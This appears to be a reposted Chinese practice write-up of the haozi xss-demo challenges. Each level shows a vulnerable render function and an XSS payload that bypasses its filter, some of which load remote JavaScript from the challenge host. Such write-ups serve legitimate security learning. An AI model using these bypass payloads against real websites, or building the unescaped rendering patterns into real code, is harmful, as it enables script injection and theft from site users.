0x00:简介
xss
练习地址:
xss
项目地址:
https://github.com/haozi/xss-demo
0x00
function render (input) { return '<div>' + input + '</div>' }
无过滤
<script>alert(1)</script>
0x01
function render (input) { return '<textarea>' + input + '</textarea>' }
文本框无法执行,但是可以闭合 <textarea>
来执行.
</textarea><script>alert(1)</script>
0x02
function render (input) { return '<input type="name" value="' + input + '">' }
简单的 dom型xss
,闭合前面的双引号后面的句子随便构造,只要能执行.
"onmouseover="alert(1)"
或通过闭合前面的尖括号,构造新的语句执行.
"><svg/onload=alert(1)>
0x03
function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input }
过滤了圆括号 ()
,但是我们仍然可以使用反引号执行.
<script>alert`1`</script>
0x04
function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input }
过滤了圆括号 ()
,反引号 `
.
<svg>
可以执行 html转义字符.
<svg><script>alert 1 </script>
0x05
function render (input) { input = input.replace(/-->/g, 'emoji笑脸') return '<!-- ' + input + ' -->' }
<!--
可以用 -->
和 --!>
两种方式闭合.
--!><script>alert(1)</script>
0x06
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` }
可以通过换行绕过正则检测.
type="image" src="xxx" onerror ="alert(1)"
0x07
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` }
匹配了尖括号 <>
开头结尾的字符串替换为空.
可以通过少输入一个 >
来绕过正则,但仍然可以执行.
<body onload="alert(1)"
0x08
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` }
通过换行绕过正则,闭合 <style>
然后执行语句.
</style ><script>alert(1)</script>
0x09
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' }
匹配 https://www.segmentfault.com
开头的字符串.
闭合第一个 script
,执行语句,然后 //
注释后面的语句.
https://www.segmentfault.com"></script><script>alert(1)</script>//
0x0A
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ' ') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' }
对一些符号进行了编码,并且正则匹配了 https://www.segmentfault.com
开头的字符串.
这里可以使用 @
来执行我们自己的js.(其实是访问 https://xss.haozi.me/j.js
)
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>` }
html标签
, 域名
不区分大小写.
<script src="https://xss.haozi.me/j.js"></script>
0x0C
function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
只检查了一遍是否存在 script
,于是可以在 script
中双写 script
绕过.
<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>
0x0D
function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` }
过滤了 <
, /
, "
, '
.
通过换行绕过注释.
然后用 html
的注释符 -->
注释掉后面的圆括号.
alert(1) -->
0x0E
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
匹配了所有 <
与字母的组合.
即 <s
无法使用.
但是 ſ
大写后为S,且其ascii值不与s相等,因此可以绕过.
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ' ') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">` }
对 &
, '
, "
, <
, >
, \/
进行编码.
浏览器会先解析 html
,再解析 js
,因此 waf
实际无用.
');alert(1)//
0x10
function render (input) { return ` <script> window.data = ${input} </script> ` }
无过滤,在 <script>
中直接执行.
alert(1)
0x11
// from alf.nu function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` }
过滤了一些字符.
"
过滤为 \\"
,但目的达成,闭合了前面的双引号,然后执行了语句,并用 //
注释了后面的语句.
");alert(1)//
0x12
// from alf.nu function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' }
直接闭合最前面的 <script>
,然后创造一个新的 <script>
执行 alert(1)
即可.
</script><script>alert(1)</script>
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- xss练习笔记(二)
- [flask笔记] jinja2模板练习
- 阅《汇编语言》记录的小结笔记及练习题(一)
- <node.js学习笔记(5)>koa框架和简单爬虫练习
- Coursera吴恩达机器学习笔记及代码练习(Matlab版)
- [Vue 2.x Todo 教程练习参考答案] 标为完成练习参考答案
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
《生活大爆炸》之科学揭秘
乔治·毕姆 / 韩准、徐漪、江业华、叶夜 / 世界图书出版公司 / 2012-12 / 49.00元
《 之科学揭秘:GEEK探索频道》对流行美剧《生活大爆炸》进行“深度解密”,重点在解读剧中涉及的流行文化及科学元素。正如我们所知,《生活大爆炸》是一部“技术含量很高”的肥皂剧。不光是普通观众,科学家也爱《生活大爆炸》。《 之科学揭秘:GEEK探索频道》中,科学家详尽为你解释了电视剧中出现的科学道理和典故。包括谢尔顿的高深弦理论、霍华德的花生过敏是怎么回事、如果你和谢尔顿的妈妈有同样的信仰该如何看待......一起来看看 《《生活大爆炸》之科学揭秘》 这本书的介绍吧!